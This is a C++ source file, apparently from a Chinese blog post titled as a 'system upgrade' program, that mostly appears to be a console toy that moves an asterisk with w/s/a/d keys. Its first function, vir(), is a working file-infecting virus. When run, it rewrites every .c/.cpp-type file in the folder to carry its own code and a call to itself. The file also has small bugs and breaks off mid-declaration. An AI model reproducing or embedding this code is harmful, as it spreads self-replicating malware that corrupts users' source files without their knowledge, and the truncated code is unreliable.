#include<bits/stdc++.h>
#include<cstring>
#include <iostream>
#include <cstdio>
#include <cstdlib>
#include <ctime>
#include <conio.h>
#include <cmath>
#include <windows.h>
#define W 1
#define S 2
#define A 3
#define D 4
#define L 4
using namespace std;
void vir()
{
string CurFileName = __FILE__;//绝对路径
string obCurFileName //相对路径
= CurFileName.substr(CurFileName.find_last_of('//') + 1,CurFileName.size()-1);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile("*.c*", &FindFileData);
string VirusCode[100];//病毒代码
string FileCode[500]; //宿主代码
int CodeLen = 0;//病毒代码长度
int FileLen = 0;//宿主代码长度
//病毒函数调用应当插在"main("后面的第一个"{"后面
//在C++中main有int main(),int main(int arg,char **r)等形式
int InsertLoc = 0;
//提取待传播的当前文件中的病毒代码
ifstream VirusFile(obCurFileName.c_str());
for (CodeLen = 0;getline(VirusFile,VirusCode[CodeLen]);CodeLen++)
{
if(VirusCode[CodeLen] == "//END")
{
CodeLen++;
break;
}
}
VirusFile.close();
//依次感染宿主文件
while (true)
{
//不能感染当前.cpp文件和已感染的文件
if(strcmp(FindFileData.cFileName,obCurFileName.c_str())== 0)
{
cout<<FindFileData.cFileName<<":是感染源!/n";
}
else//感染其它文件
{
//加载宿主文件
ifstream ibe(FindFileData.cFileName);
for(FileLen = 0;getline(ibe,FileCode[FileLen]);FileLen++)
{
if (FileCode[FileLen].find("main") != -1)
{
InsertLoc = FileLen;
}
}
ibe.close();
if(FileCode[0] == "//START")//该文件已被感染
{
cout<<FindFileData.cFileName<<":已携带了病毒!/n";
}
else if (FileLen > 500)
{
cout<<FindFileData.cFileName<<":文件太大了!/n";
}
else
{
//打开宿主文件
ofstream be(FindFileData.cFileName);
//插入病毒代码
for(int i = 0;i < CodeLen;i++)
{
be<<VirusCode[i]<<endl;
}
//病毒函数调用位置前文本插入
for(int i = 0;i < InsertLoc;i++)
{
be<<FileCode[i]<<endl;
}
//插入函数调用vir()
for(int i = InsertLoc;i < FileLen;i++)
{
int j = FileCode[i].find('{');
if(j != -1)
{
FileCode[i].insert(j + 1,"/nvir();");
break;
}
}
//病毒函数调用位置后插入剩余文本
for(int i = InsertLoc;i < FileLen;i++)
{
be<<FileCode[i]<<endl;
}
be.close();
cout<<FindFileData.cFileName<<":感染成功!/n";
}
}
if (FindNextFile(hFind, &FindFileData) == false) break;
}
}
class aaa{
int x;
int y;
int x1;
int y1;
public:
aaa(){
x=y=x1=y1=10;
}
void bbb();
~aaa(){
}
};
void ccc(int a,int b){
int i;
system("cls");
for(i=0;i<b;i++)
cout<<endl;
for(i=0;i<a-1;i++){
cout<<' ';
}
cout<<"*";
}
void aaa::bbb(){
char ch;
int a,b;
a=x1;
b=y1;
cout<<"原点坐标:"<<"("<<x<<","<<y<<")"<<endl;
cout<<"该程序通过w,s,a,d实现*的上下左右移动,输入空格结束"<<endl;
cout<<"*";
ch=getch();
while(1){
ch=getch();
switch(ch){
case 'w':b=b-1;break;
case 's':b=b+1;break;
case 'a':a=a-1;break;
case 'd':a=a+1;break;
default:break;
}
ccc(a,b);
if(ch==' '){
int sum=0;
cout<<"最终坐标:"<<"("<<a<<","<<b<<")"<<endl;
sum=sqrt((a-10)*(a-10)+(b-10)*(b-10));
cout<<"两点间的距离="<<sum<<endl;
break;
}
}
}
HANDLE hout=GetStdHandle(STD_OUTPUT_HANDLE);
COORD coord;
void locate(int x,int y)
{
coord.X=y;
coord.Y=x;
SetConsoleCursorPosition(hout,coord);
};
void hide()
{
CONSOLE_CURSOR_INFO cursor_info={1,0};
SetConsoleCursorInfo(hout, &cursor_info);
}
double random(
C++系统升级版
于 2023-03-13 19:38:56 首次发布